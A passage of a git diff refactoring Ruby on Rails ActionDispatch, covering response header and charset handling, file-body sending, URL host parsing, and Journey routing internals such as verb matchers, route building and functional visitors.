own method + end + end + + def self.create(status = 200, header = {}, body = [], default_headers: self.default_headers) + header = merge_default_headers(header, default_headers) + new status, header, body + end + + def self.merge_default_headers(original, default) + default.respond_to?(:merge) ? default.merge(original) : original end # The underlying body, as a streamable object. attr_reader :stream - def initialize(status = 200, header = {}, body = [], default_headers: self.class.default_headers) + def initialize(status = 200, header = {}, body = []) super() - header = merge_default_headers(header, default_headers) + @header = Header.new(self, header) - self.body, self.header, self.status = body, header, status + self.body, self.status = body, status - @sending_file = false - @blank = false @cv = new_cond @committed = false @sending = false @sent = false - @content_type = nil - @charset = nil - - if content_type = self[CONTENT_TYPE] - type, charset = content_type.split(/;\s*charset=/) - @content_type = Mime::Type.lookup(type) - @charset = charset || self.class.default_charset - end prepare_cache_control! yield self if block_given? end + def has_header?(key); headers.key? key; end + def get_header(key); headers[key]; end + def set_header(key, v); headers[key] = v; end + def delete_header(key); headers.delete key; end + def await_commit synchronize do @cv.wait_until { @committed } @@ -184,7 +224,49 @@ module ActionDispatch # :nodoc: # Sets the HTTP content type. def content_type=(content_type) - @content_type = content_type.to_s + header_info = parse_content_type + set_content_type content_type.to_s, header_info.charset || self.class.default_charset + end + + # Sets the HTTP response's content MIME type. For example, in the controller + # you could write this: + # + # response.content_type = "text/plain" + # + # If a character set has been defined for this response (see charset=) then + # the character set information will also be included in the content type + # information. + + def content_type + parse_content_type.mime_type + end + + def sending_file=(v) + if true == v + self.charset = false + end + end + + # Sets the HTTP character set. In case of nil parameter + # it sets the charset to utf-8. + # + # response.charset = 'utf-16' # => 'utf-16' + # response.charset = nil # => 'utf-8' + def charset=(charset) + header_info = parse_content_type + if false == charset + set_header CONTENT_TYPE, header_info.mime_type + else + content_type = header_info.mime_type + set_content_type content_type, charset || self.class.default_charset + end + end + + # The charset of the response. HTML wants to know the encoding of the + # content you're giving them, so we need to send that along. + def charset + header_info = parse_content_type + header_info.charset || self.class.default_charset end # The response code of the request. @@ -213,17 +295,15 @@ module ActionDispatch # :nodoc: # Returns the content of the response as a string. This contains the contents # of any calls to <tt>render</tt>. def body - strings = [] - each { |part| strings << part.to_s } - strings.join + @stream.body end - EMPTY = " " + def write(string) + @stream.write string + end # Allows you to manually set or override the response body. def body=(body) - @blank = true if body == EMPTY - if body.respond_to?(:to_path) @stream = body else @@ -233,31 +313,49 @@ module ActionDispatch # :nodoc: end end - def body_parts - parts = [] - @stream.each { |x| parts << x } - parts - end + # Avoid having to pass an open file handle as the response body. + # Rack::Sendfile will usually intercept the response and uses + # the path directly, so there is no reason to open the file. + class FileBody #:nodoc: + attr_reader :to_path + + def initialize(path) + @to_path = path + end + + def body + File.binread(to_path) + end - def set_cookie(key, value) - ::Rack::Utils.set_cookie_header!(header, key, value) + # Stream the file's contents if Rack::Sendfile isn't present. + def each + File.open(to_path, 'rb') do |file| + while chunk = file.read(16384) + yield chunk + end + end + end end - def delete_cookie(key, value={}) - ::Rack::Utils.delete_cookie_header!(header, key, value) + # Send the file stored at +path+ as the response body. + def send_file(path) + commit! + @stream = FileBody.new(path) end - # The location header we'll be responding with. - def location - headers[LOCATION] + def reset_body! + @stream = build_buffer(self, []) end - alias_method :redirect_url, :location - # Sets the location header we'll be responding with. - def location=(url) - headers[LOCATION] = url + def body_parts + parts = [] + @stream.each { |x| parts << x } + parts end + # The location header we'll be responding with. + alias_method :redirect_url, :location + def close stream.close if stream.respond_to?(:close) end @@ -274,10 +372,11 @@ module ActionDispatch # :nodoc: end # Turns the Response into a Rack-compatible array of the status, headers, - # and body. Allows explict splatting: + # and body. Allows explicit splatting: # # status, headers, body = *response def to_a + commit! rack_response @status, @header.to_hash end alias prepare! to_a @@ -287,7 +386,7 @@ module ActionDispatch # :nodoc: # assert_equal 'AuthorOfNewPage', r.cookies['author'] def cookies cookies = {} - if header = self[SET_COOKIE] + if header = get_header(SET_COOKIE) header = header.split("\n") if header.respond_to?(:to_str) header.each do |cookie| if pair = cookie.split(';').first @@ -301,14 +400,43 @@ module ActionDispatch # :nodoc: private + ContentTypeHeader = Struct.new :mime_type, :charset + NullContentTypeHeader = ContentTypeHeader.new nil, nil + + def parse_content_type + content_type = get_header CONTENT_TYPE + if content_type + type, charset = content_type.split(/;\s*charset=/) + type = nil if type.empty? + ContentTypeHeader.new(type, charset) + else + NullContentTypeHeader + end + end + + def set_content_type(content_type, charset) + type = (content_type || '').dup + type << "; charset=#{charset}" if charset + set_header CONTENT_TYPE, type + end + def before_committed + return if committed? + assign_default_content_type_and_charset! + handle_conditional_get! + handle_no_content! end def before_sending - end + # Normally we've already committed by now, but it's possible + # (e.g., if the controller action tries to read back its own + # response) to get here before that. In that case, we must force + # an "early" commit: we're about to freeze the headers, so this is + # our last chance. + commit! unless committed? - def merge_default_headers(original, default) - default.respond_to?(:merge) ? default.merge(original) : original + headers.freeze + request.commit_cookie_jar! unless committed? end def build_buffer(response, body) @@ -319,20 +447,12 @@ module ActionDispatch # :nodoc: body.respond_to?(:each) ? body : [body] end - def assign_default_content_type_and_charset!(headers) - return if headers[CONTENT_TYPE].present? - - @content_type ||= Mime::HTML - @charset ||= self.class.default_charset unless @charset == false - - type = @content_type.to_s.dup - type << "; charset=#{@charset}" if append_charset? + def assign_default_content_type_and_charset! + return if content_type - headers[CONTENT_TYPE] = type - end - - def append_charset? - !@sending_file && @charset != false + ct = parse_content_type + set_content_type(ct.mime_type || Mime[:html].to_s, + ct.charset || self.class.default_charset) end class RackBody @@ -371,14 +491,15 @@ module ActionDispatch # :nodoc: end end - def rack_response(status, header) - assign_default_content_type_and_charset!(header) - handle_conditional_get! - - header[SET_COOKIE] = header[SET_COOKIE].join("\n") if header[SET_COOKIE].respond_to?(:join) - + def handle_no_content! if NO_CONTENT_CODES.include?(@status) - header.delete CONTENT_TYPE + @header.delete CONTENT_TYPE + @header.delete 'Content-Length' + end + end + + def rack_response(status, header) + if NO_CONTENT_CODES.include?(status) [status, header, []] else [status, header, RackBody.new(self)] diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb index 540e11a4a0..a221f4c5af 100644 --- a/actionpack/lib/action_dispatch/http/upload.rb +++ b/actionpack/lib/action_dispatch/http/upload.rb @@ -28,7 +28,13 @@ module ActionDispatch raise(ArgumentError, ':tempfile is required') unless @tempfile @original_filename = hash[:filename] - @original_filename &&= @original_filename.encode "UTF-8" + if @original_filename + begin + @original_filename.encode!(Encoding::UTF_8) + rescue EncodingError + @original_filename.force_encoding(Encoding::UTF_8) + end + end @content_type = hash[:type] @headers = hash[:head] end diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb index 7da6301ac4..7a1350a46d 100644 --- a/actionpack/lib/action_dispatch/http/url.rb +++ b/actionpack/lib/action_dispatch/http/url.rb @@ -1,11 +1,10 @@ require 'active_support/core_ext/module/attribute_accessors' -require 'active_support/core_ext/hash/slice' module ActionDispatch module Http module URL IP_HOST_REGEXP = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/ - HOST_REGEXP = /(^[^:]+:\/\/)?([^:]+)(?::(\d+$))?/ + HOST_REGEXP = /(^[^:]+:\/\/)?(\[[^\]]+\]|[^:]+)(?::(\d+$))?/ PROTOCOL_REGEXP = /^([^:]+)(:)?(\/\/)?$/ mattr_accessor :tld_length @@ -82,7 +81,8 @@ module ActionDispatch def add_params(path, params) params = { params: params } unless params.is_a?(Hash) params.reject! { |_,v| v.to_param.nil? } - path << "?#{params.to_query}" unless params.empty? + query = params.to_query + path << "?#{query}" unless query.empty? end def add_anchor(path, anchor) @@ -184,7 +184,7 @@ module ActionDispatch end end - def initialize(env) + def initialize super @protocol = nil @port = nil @@ -217,7 +217,7 @@ module ActionDispatch @protocol ||= ssl? ? 'https://' : 'http://' end - # Returns the \host for this request, such as "example.com". + # Returns the \host and port for this request, such as "example.com:8080". # # class Request < Rack::Request # include ActionDispatch::Http::URL @@ -226,17 +226,20 @@ module ActionDispatch # req = Request.new 'HTTP_HOST' => 'example.com' # req.raw_host_with_port # => "example.com" # + # req = Request.new 'HTTP_HOST' => 'example.com:80' + # req.raw_host_with_port # => "example.com:80" + # # req = Request.new 'HTTP_HOST' => 'example.com:8080' # req.raw_host_with_port # => "example.com:8080" def raw_host_with_port - if forwarded = env["HTTP_X_FORWARDED_HOST"] + if forwarded = x_forwarded_host.presence forwarded.split(/,\s?/).last else - env['HTTP_HOST'] || "#{env['SERVER_NAME'] || env['SERVER_ADDR']}:#{env['SERVER_PORT']}" + get_header('HTTP_HOST') || "#{server_name || server_addr}:#{get_header('SERVER_PORT')}" end end - # Returns the host for this request, such as example.com. + # Returns the host for this request, such as "example.com". # # class Request < Rack::Request # include ActionDispatch::Http::URL @@ -245,16 +248,20 @@ module ActionDispatch # req = Request.new 'HTTP_HOST' => 'example.com:8080' # req.host # => "example.com" def host - raw_host_with_port.sub(/:\d+$/, '') + raw_host_with_port.sub(/:\d+$/, ''.freeze) end # Returns a \host:\port string for this request, such as "example.com" or - # "example.com:8080". + # "example.com:8080". Port is only included if it is not a default port + # (80 or 443) # # class Request < Rack::Request # include ActionDispatch::Http::URL # end # + # req = Request.new 'HTTP_HOST' => 'example.com' + # req.host_with_port # => "example.com" + # # req = Request.new 'HTTP_HOST' => 'example.com:80' # req.host_with_port # => "example.com" # @@ -347,8 +354,19 @@ module ActionDispatch standard_port? ? '' : ":#{port}" end + # Returns the requested port, such as 8080, based on SERVER_PORT + # + # class Request < Rack::Request + # include ActionDispatch::Http::URL + # end + # + # req = Request.new 'SERVER_PORT' => '80' + # req.server_port # => 80 + # + # req = Request.new 'SERVER_PORT' => '8080' + # req.server_port # => 8080 def server_port - @env['SERVER_PORT'].to_i + get_header('SERVER_PORT').to_i end # Returns the \domain part of a \host, such as "rubyonrails.org" in "www.rubyonrails.org". You can specify diff --git a/actionpack/lib/action_dispatch/journey/backwards.rb b/actionpack/lib/action_dispatch/journey/backwards.rb deleted file mode 100644 index 3bd20fdf81..0000000000 --- a/actionpack/lib/action_dispatch/journey/backwards.rb +++ /dev/null @@ -1,5 +0,0 @@ -module Rack # :nodoc: - Mount = ActionDispatch::Journey::Router - Mount::RouteSet = ActionDispatch::Journey::Router - Mount::RegexpWithNamedGroups = ActionDispatch::Journey::Path::Pattern -end diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb index 992c1a9efe..200477b002 100644 --- a/actionpack/lib/action_dispatch/journey/formatter.rb +++ b/actionpack/lib/action_dispatch/journey/formatter.rb @@ -14,7 +14,7 @@ module ActionDispatch def generate(name, options, path_parameters, parameterize = nil) constraints = path_parameters.merge(options) - missing_keys = [] + missing_keys = nil # need for variable scope match_route(name, constraints) do |route| parameterized_parts = extract_parameterized_parts(route, options, path_parameters, parameterize) @@ -25,22 +25,27 @@ module ActionDispatch next unless name || route.dispatcher? missing_keys = missing_keys(route, parameterized_parts) - next unless missing_keys.empty? + next if missing_keys && !missing_keys.empty? params = options.dup.delete_if do |key, _| parameterized_parts.key?(key) || route.defaults.key?(key) end defaults = route.defaults required_parts = route.required_parts - parameterized_parts.delete_if do |key, value| - value.to_s == defaults[key].to_s && !required_parts.include?(key) + + route.parts.reverse_each do |key| + break if defaults[key].nil? && parameterized_parts[key].present? + break if parameterized_parts[key].to_s != defaults[key].to_s + break if required_parts.include?(key) + + parameterized_parts.delete(key) end return [route.format(parameterized_parts), params] end - message = "No route matches #{Hash[constraints.sort].inspect}" - message << " missing required keys: #{missing_keys.sort.inspect}" unless missing_keys.empty? + message = "No route matches #{Hash[constraints.sort_by{|k,v| k.to_s}].inspect}" + message << " missing required keys: #{missing_keys.sort.inspect}" if missing_keys && !missing_keys.empty? raise ActionController::UrlGenerationError, message end @@ -54,12 +59,12 @@ module ActionDispatch def extract_parameterized_parts(route, options, recall, parameterize = nil) parameterized_parts = recall.merge(options) - keys_to_keep = route.parts.reverse.drop_while { |part| + keys_to_keep = route.parts.reverse_each.drop_while { |part| !options.key?(part) || (options[part] || recall[part]).nil? } | route.required_parts - (parameterized_parts.keys - keys_to_keep).each do |bad_key| - parameterized_parts.delete(bad_key) + parameterized_parts.delete_if do |bad_key, _| + !keys_to_keep.include?(bad_key) end if parameterize @@ -110,15 +115,36 @@ module ActionDispatch routes end + module RegexCaseComparator + DEFAULT_INPUT = /[-_.a-zA-Z0-9]+\/[-_.a-zA-Z0-9]+/ + DEFAULT_REGEX = /\A#{DEFAULT_INPUT}\Z/ + + def self.===(regex) + DEFAULT_INPUT == regex + end + end + # Returns an array populated with missing keys if any are present. def missing_keys(route, parts) - missing_keys = [] + missing_keys = nil tests = route.path.requirements route.required_parts.each { |key| - if tests.key?(key) - missing_keys << key unless /\A#{tests[key]}\Z/ === parts[key] + case tests[key] + when nil + unless parts[key] + missing_keys ||= [] + missing_keys << key + end + when RegexCaseComparator + unless RegexCaseComparator::DEFAULT_REGEX === parts[key] + missing_keys ||= [] + missing_keys << key + end else - missing_keys << key unless parts[key] + unless /\A#{tests[key]}\Z/ === parts[key] + missing_keys ||= [] + missing_keys << key + end end } missing_keys @@ -134,7 +160,7 @@ module ActionDispatch def build_cache root = { ___routes: [] } - routes.each_with_index do |route, i| + routes.routes.each_with_index do |route, i| leaf = route.required_defaults.inject(root) do |h, tuple| h[tuple] ||= {} end diff --git a/actionpack/lib/action_dispatch/journey/nfa/dot.rb b/actionpack/lib/action_dispatch/journey/nfa/dot.rb index 47bf76bdbf..7063b44bb5 100644 --- a/actionpack/lib/action_dispatch/journey/nfa/dot.rb +++ b/actionpack/lib/action_dispatch/journey/nfa/dot.rb @@ -1,5 +1,3 @@ -# encoding: utf-8 - module ActionDispatch module Journey # :nodoc: module NFA # :nodoc: diff --git a/actionpack/lib/action_dispatch/journey/nodes/node.rb b/actionpack/lib/action_dispatch/journey/nodes/node.rb index bb01c087bc..2793c5668d 100644 --- a/actionpack/lib/action_dispatch/journey/nodes/node.rb +++ b/actionpack/lib/action_dispatch/journey/nodes/node.rb @@ -14,15 +14,15 @@ module ActionDispatch end def each(&block) - Visitors::Each.new(block).accept(self) + Visitors::Each::INSTANCE.accept(self, block) end def to_s - Visitors::String.new.accept(self) + Visitors::String::INSTANCE.accept(self, '') end def to_dot - Visitors::Dot.new.accept(self) + Visitors::Dot::INSTANCE.accept(self) end def to_sym @@ -30,7 +30,7 @@ module ActionDispatch end def name - left.tr '*:', '' + left.tr '*:'.freeze, ''.freeze end def type @@ -39,10 +39,15 @@ module ActionDispatch def symbol?; false; end def literal?; false; end + def terminal?; false; end + def star?; false; end + def cat?; false; end + def group?; false; end end class Terminal < Node # :nodoc: alias :symbol :left + def terminal?; true; end end class Literal < Terminal # :nodoc: @@ -69,11 +74,13 @@ module ActionDispatch class Symbol < Terminal # :nodoc: attr_accessor :regexp alias :symbol :regexp + attr_reader :name DEFAULT_EXP = /[^\.\/\?]+/ def initialize(left) super @regexp = DEFAULT_EXP + @name = left.tr '*:'.freeze, ''.freeze end def default_regexp? @@ -89,9 +96,11 @@ module ActionDispatch class Group < Unary # :nodoc: def type; :GROUP; end + def group?; true; end end class Star < Unary # :nodoc: + def star?; true; end def type; :STAR; end def name @@ -111,6 +120,7 @@ module ActionDispatch end class Cat < Binary # :nodoc: + def cat?; true; end def type; :CAT; end end diff --git a/actionpack/lib/action_dispatch/journey/parser_extras.rb b/actionpack/lib/action_dispatch/journey/parser_extras.rb index 14892f4321..fff0299812 100644 --- a/actionpack/lib/action_dispatch/journey/parser_extras.rb +++ b/actionpack/lib/action_dispatch/journey/parser_extras.rb @@ -6,6 +6,10 @@ module ActionDispatch class Parser < Racc::Parser # :nodoc: include Journey::Nodes + def self.parse(string) + new.parse string + end + def initialize @scanner = Scanner.new end diff --git a/actionpack/lib/action_dispatch/journey/path/pattern.rb b/actionpack/lib/action_dispatch/journey/path/pattern.rb index 64b48ca45f..018b89a2b7 100644 --- a/actionpack/lib/action_dispatch/journey/path/pattern.rb +++ b/actionpack/lib/action_dispatch/journey/path/pattern.rb @@ -1,5 +1,3 @@ -require 'action_dispatch/journey/router/strexp' - module ActionDispatch module Journey # :nodoc: module Path # :nodoc: @@ -7,14 +5,20 @@ module ActionDispatch attr_reader :spec, :requirements, :anchored def self.from_string string - new Journey::Router::Strexp.build(string, {}, ["/.?"], true) + build(string, {}, "/.?", true) + end + + def self.build(path, requirements, separators, anchored) + parser = Journey::Parser.new + ast = parser.parse path + new ast, requirements, separators, anchored end - def initialize(strexp) - @spec = strexp.ast - @requirements = strexp.requirements - @separators = strexp.separators.join - @anchored = strexp.anchor + def initialize(ast, requirements, separators, anchored) + @spec = ast + @requirements = requirements + @separators = separators + @anchored = anchored @names = nil @optional_names = nil @@ -28,12 +32,12 @@ module ActionDispatch end def ast - @spec.grep(Nodes::Symbol).each do |node| + @spec.find_all(&:symbol?).each do |node| re = @requirements[node.to_sym] node.regexp = re if re end - @spec.grep(Nodes::Star).each do |node| + @spec.find_all(&:star?).each do |node| node = node.left node.regexp = @requirements[node.to_sym] || /(.+)/ end @@ -42,7 +46,7 @@ module ActionDispatch end def names - @names ||= spec.grep(Nodes::Symbol).map(&:name) + @names ||= spec.find_all(&:symbol?).map(&:name) end def required_names @@ -50,36 +54,11 @@ module ActionDispatch end def optional_names - @optional_names ||= spec.grep(Nodes::Group).flat_map { |group| - group.grep(Nodes::Symbol) + @optional_names ||= spec.find_all(&:group?).flat_map { |group| + group.find_all(&:symbol?) }.map(&:name).uniq end - class RegexpOffsets < Journey::Visitors::Visitor # :nodoc: - attr_reader :offsets - - def initialize(matchers) - @matchers = matchers - @capture_count = [0] - end - - def visit(node) - super - @capture_count - end - - def visit_SYMBOL(node) - node = node.to_sym - - if @matchers.key?(node) - re = /#{@matchers[node]}|/ - @capture_count.push((re.match('').length - 1) + (@capture_count.last || 0)) - else - @capture_count << (@capture_count.last || 0) - end - end - end - class AnchoredRegexp < Journey::Visitors::Visitor # :nodoc: def initialize(separator, matchers) @separator = separator @@ -145,7 +124,7 @@ module ActionDispatch end def captures - (length - 1).times.map { |i| self[i + 1] } + Array.new(length - 1) { |i| self[i + 1] } end def [](x) @@ -189,8 +168,20 @@ module ActionDispatch def offsets return @offsets if @offsets - viz = RegexpOffsets.new(@requirements) - @offsets = viz.accept(spec) + @offsets = [0] + + spec.find_all(&:symbol?).each do |node| + node = node.to_sym + + if @requirements.key?(node) + re = /#{@requirements[node]}|/ + @offsets.push((re.match('').length - 1) + @offsets.last) + else + @offsets << @offsets.last + end + end + + @offsets end end end diff --git a/actionpack/lib/action_dispatch/journey/route.rb b/actionpack/lib/action_dispatch/journey/route.rb index 4d5c18984a..cfd6681dd1 100644 --- a/actionpack/lib/action_dispatch/journey/route.rb +++ b/actionpack/lib/action_dispatch/journey/route.rb @@ -1,42 +1,89 @@ module ActionDispatch module Journey # :nodoc: class Route # :nodoc: - attr_reader :app, :path, :defaults, :name + attr_reader :app, :path, :defaults, :name, :precedence - attr_reader :constraints + attr_reader :constraints, :internal alias :conditions :constraints - attr_accessor :precedence + module VerbMatchers + VERBS = %w{ DELETE GET HEAD OPTIONS LINK PATCH POST PUT TRACE UNLINK } + VERBS.each do |v| + class_eval <<-eoc + class #{v} + def self.verb; name.split("::").last; end + def self.call(req); req.#{v.downcase}?; end + end + eoc + end + + class Unknown + attr_reader :verb + + def initialize(verb) + @verb = verb + end + + def call(request); @verb === request.request_method; end + end + + class All + def self.call(_); true; end + def self.verb; ''; end + end + + VERB_TO_CLASS = VERBS.each_with_object({ :all => All }) do |verb, hash| + klass = const_get verb + hash[verb] = klass + hash[verb.downcase] = klass + hash[verb.downcase.to_sym] = klass + end + + end + + def self.verb_matcher(verb) + VerbMatchers::VERB_TO_CLASS.fetch(verb) do + VerbMatchers::Unknown.new verb.to_s.dasherize.upcase + end + end + + def self.build(name, app, path, constraints, required_defaults, defaults) + request_method_match = verb_matcher(constraints.delete(:request_method)) + new name, app, path, constraints, required_defaults, defaults, request_method_match, 0 + end ## # +path+ is a path constraint. # +constraints+ is a hash of constraints to be applied to this route. - def initialize(name, app, path, constraints, defaults = {}) + def initialize(name, app, path, constraints, required_defaults, defaults, request_method_match, precedence, internal = false) @name = name @app = app @path = path + @request_method_match = request_method_match @constraints = constraints @defaults = defaults @required_defaults = nil + @_required_defaults = required_defaults @required_parts = nil @parts = nil @decorated_ast = nil - @precedence = 0 + @precedence = precedence @path_formatter = @path.build_formatter + @internal = internal end def ast @decorated_ast ||= begin decorated_ast = path.ast - decorated_ast.grep(Nodes::Terminal).each { |n| n.memo = self } + decorated_ast.find_all(&:terminal?).each { |n| n.memo = self } decorated_ast end end def requirements # :nodoc: - # needed for rails `rake routes` - path.requirements.merge(@defaults).delete_if { |_,v| + # needed for rails `rails routes` + @defaults.merge(path.requirements).delete_if { |_,v| /.+?/ == v } end @@ -73,7 +120,7 @@ module ActionDispatch end def required_default?(key) - (constraints[:required_defaults] || []).include?(key) + @_required_defaults.include?(key) end def required_defaults @@ -91,9 +138,8 @@ module ActionDispatch end def matches?(request) - constraints.all? do |method, value| - next true unless request.respond_to?(method) - + match_verb(request) && + constraints.all? { |method, value| case value when Regexp, String value === request.send(method).to_s @@ -106,15 +152,28 @@ module ActionDispatch else value === request.send(method) end - end + } end def ip constraints[:ip] || // end + def requires_matching_verb? + !@request_method_match.all? { |x| x == VerbMatchers::All } + end + def verb - constraints[:request_method] || // + verbs.join('|') + end + + private + def verbs + @request_method_match.map(&:verb) + end + + def match_verb(request) + @request_method_match.any? { |m| m.call request } end end end diff --git a/actionpack/lib/action_dispatch/journey/router.rb b/actionpack/lib/action_dispatch/journey/router.rb index cc4bd6105d..06cdce1724 100644 --- a/actionpack/lib/action_dispatch/journey/router.rb +++ b/actionpack/lib/action_dispatch/journey/router.rb @@ -1,5 +1,4 @@ require 'action_dispatch/journey/router/utils' -require 'action_dispatch/journey/router/strexp' require 'action_dispatch/journey/routes' require 'action_dispatch/journey/formatter' @@ -17,9 +16,6 @@ module ActionDispatch class RoutingError < ::StandardError # :nodoc: end - # :nodoc: - VERSION = '2.0.0' - attr_accessor :routes def initialize(routes) @@ -102,7 +98,7 @@ module ActionDispatch } routes = - if req.request_method == "HEAD" + if req.head? match_head_routes(routes, req) else match_routes(routes, req) @@ -121,7 +117,8 @@ module ActionDispatch end def match_head_routes(routes, req) - head_routes = match_routes(routes, req) + verb_specific_routes = routes.select(&:requires_matching_verb?) + head_routes = match_routes(verb_specific_routes, req) if head_routes.empty? begin diff --git a/actionpack/lib/action_dispatch/journey/router/strexp.rb b/actionpack/lib/action_dispatch/journey/router/strexp.rb deleted file mode 100644 index 4b7738f335..0000000000 --- a/actionpack/lib/action_dispatch/journey/router/strexp.rb +++ /dev/null @@ -1,27 +0,0 @@ -module ActionDispatch - module Journey # :nodoc: - class Router # :nodoc: - class Strexp # :nodoc: - class << self - alias :compile :new - end - - attr_reader :path, :requirements, :separators, :anchor, :ast - - def self.build(path, requirements, separators, anchor = true) - parser = Journey::Parser.new - ast = parser.parse path - new ast, path, requirements, separators, anchor - end - - def initialize(ast, path, requirements, separators, anchor = true) - @ast = ast - @path = path - @requirements = requirements - @separators = separators - @anchor = anchor - end - end - end - end -end diff --git a/actionpack/lib/action_dispatch/journey/router/utils.rb b/actionpack/lib/action_dispatch/journey/router/utils.rb index 2b0a6575d4..9793ca1c7a 100644 --- a/actionpack/lib/action_dispatch/journey/router/utils.rb +++ b/actionpack/lib/action_dispatch/journey/router/utils.rb @@ -14,10 +14,10 @@ module ActionDispatch # normalize_path("/%ab") # => "/%AB" def self.normalize_path(path) path = "/#{path}" - path.squeeze!('/') - path.sub!(%r{/+\Z}, '') + path.squeeze!('/'.freeze) + path.sub!(%r{/+\Z}, ''.freeze) path.gsub!(/(%[a-f0-9]{2})/) { $1.upcase } - path = '/' if path == '' + path = '/' if path == ''.freeze path end @@ -55,7 +55,7 @@ module ActionDispatch def unescape_uri(uri) encoding = uri.encoding == US_ASCII ? UTF_8 : uri.encoding - uri.gsub(ESCAPED) { [$&[1, 2].hex].pack('C') }.force_encoding(encoding) + uri.gsub(ESCAPED) { |match| [match[1, 2].hex].pack('C') }.force_encoding(encoding) end protected diff --git a/actionpack/lib/action_dispatch/journey/routes.rb b/actionpack/lib/action_dispatch/journey/routes.rb index a6d1980db2..f7b009109e 100644 --- a/actionpack/lib/action_dispatch/journey/routes.rb +++ b/actionpack/lib/action_dispatch/journey/routes.rb @@ -5,17 +5,20 @@ module ActionDispatch class Routes # :nodoc: include Enumerable - attr_reader :routes, :named_routes, :custom_routes, :anchored_routes + attr_reader :routes, :custom_routes, :anchored_routes def initialize @routes = [] - @named_routes = {} @ast = nil @anchored_routes = [] @custom_routes = [] @simulator = nil end + def empty? + routes.empty? + end + def length routes.length end @@ -33,7 +36,6 @@ module ActionDispatch routes.clear anchored_routes.clear custom_routes.clear - named_routes.clear end def partition_route(route) @@ -58,13 +60,9 @@ module ActionDispatch end end - # Add a route to the routing table. - def add_route(app, path, conditions, defaults, name = nil) - route = Route.new(name, app, path, conditions, defaults) - - route.precedence = routes.length + def add_route(name, mapping) + route = mapping.make_route name, routes.length routes << route - named_routes[name] = route if name && !named_routes[name] partition_route(route) clear_cache! route diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb index 52b4c8b489..306d2e674a 100644 --- a/actionpack/lib/action_dispatch/journey/visitors.rb +++ b/actionpack/lib/action_dispatch/journey/visitors.rb @@ -1,5 +1,3 @@ -# encoding: utf-8 - module ActionDispatch module Journey # :nodoc: class Format @@ -92,6 +90,45 @@ module ActionDispatch end end + class FunctionalVisitor # :nodoc: + DISPATCH_CACHE = {} + + def accept(node, seed) + visit(node, seed) + end + + def visit node, seed + send(DISPATCH_CACHE[node.type], node, seed) + end + + def binary(node, seed) + visit(node.right, visit(node.left, seed)) + end + def visit_CAT(n, seed); binary(n, seed); end + + def nary(node, seed) + node.children.inject(seed) { |s, c| visit(c, s) } + end + def visit_OR(n, seed); nary(n, seed); end + + def unary(node, seed) + visit(node.left, seed) + end + def visit_GROUP(n, seed); unary(n, seed); end + def visit_STAR(n, seed); unary(n, seed); end + + def terminal(node, seed); seed; end + def visit_LITERAL(n, seed); terminal(n, seed); end + def visit_SYMBOL(n, seed); terminal(n, seed); end + def visit_SLASH(n, seed); terminal(n, seed); end + def visit_DOT(n, seed); terminal(n, seed); end + + instance_methods(false).each do |pim| + next unless pim =~ /^visit_(.*)$/ + DISPATCH_CACHE[$1.to_sym] = pim + end + end + class FormatBuilder < Visitor # :nodoc: def accept(node); Journey::Format.new(super); end def terminal(node); [node.left]; end @@ -117,104 +154,110 @@ module ActionDispatch end # Loop through the requirements AST - class Each < Visitor # :nodoc: - attr_reader :block - - def initialize(block) - @block = block - end - - def visit(node) + class Each < FunctionalVisitor # :nodoc: + def visit(node, block) block.call(node) super end + + INSTANCE = new end - class String < Visitor # :nodoc: + class String < FunctionalVisitor # :nodoc: private - def binary(node) - [visit(node.left), visit(node.right)].join + def binary(node, seed) + visit(node.right, visit(node.left, seed)) end - def nary(node) - node.children.map { |c| visit(c) }.join '|' + def nary(node, seed) + last_child = node.children.last + node.children.inject(seed) { |s, c| + string = visit(c, s) + string << "|".freeze unless last_child == c + string + } end - def terminal(node) - node.left + def terminal(node, seed) + seed + node.left end - def visit_GROUP(node) - "(#{visit(node.left)})" + def visit_GROUP(node, seed) + visit(node.left, seed << "(".freeze) << ")".freeze end + + INSTANCE = new end - class Dot < Visitor # :nodoc: + class Dot < FunctionalVisitor # :nodoc: def initialize @nodes = [] @edges = [] end - def accept(node) + def accept(node, seed = [[], []]) super + nodes, edges = seed <<-eodot digraph parse_tree { size="8,5" node [shape = none]; edge [dir = none]; - #{@nodes.join "\n"} - #{@edges.join("\n")} + #{nodes.join "\n"} + #{edges.join("\n")} } eodot end private - def binary(node) - node.children.each do |c| - @edges << "#{node.object_id} -> #{c.object_id};" - end + def binary(node, seed) + seed.last.concat node.children.map { |c| + "#{node.object_id} -> #{c.object_id};" + } super end - def nary(node) - node.children.each do |c| - @edges << "#{node.object_id} -> #{c.object_id};" - end + def nary(node, seed) + seed.last.concat node.children.map { |c| + "#{node.object_id} -> #{c.object_id};" + } super end - def unary(node) - @edges << "#{node.object_id} -> #{node.left.object_id};" + def unary(node, seed) + seed.last << "#{node.object_id} -> #{node.left.object_id};" super end - def visit_GROUP(node) - @nodes << "#{node.object_id} [label=\"()\"];" + def visit_GROUP(node, seed) + seed.first << "#{node.object_id} [label=\"()\"];" super end - def visit_CAT(node) - @nodes << "#{node.object_id} [label=\"â—‹\"];" + def visit_CAT(node, seed) + seed.first << "#{node.object_id} [label=\"â—‹\"];" super end - def visit_STAR(node) - @nodes << "#{node.object_id} [label=\"*\"];" + def visit_STAR(node, seed) + seed.first << "#{node.object_id} [label=\"*\"];" super end - def visit_OR(node) - @nodes << "#{node.object_id} [label=\"|\"];" + def visit_OR(node, seed) + seed.first << "#{node.object_id} [label=\"|\"];" super end - def terminal(node) + def terminal(node, seed) value = node.left - @nodes << "#{node.object_id} [label=\"#{value}\"];" + seed.first << "#{node.object_id} [label=\"#{value}\"];" + seed end + INSTANCE = new end end end diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb index f80df78582..c782779b34 100644 --- a/actionpack/lib/action_dispatch/middleware/callbacks.rb +++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb @@ -7,7 +7,16 @@ module ActionDispatch define_callbacks :call class << self - delegate :to_prepare, :to_cleanup, :to => "ActionDispatch::Reloader" + def to_prepare(*args, &block) + ActiveSupport::Reloader.to_prepare(*args, &block) + end + + def to_cleanup(*args, 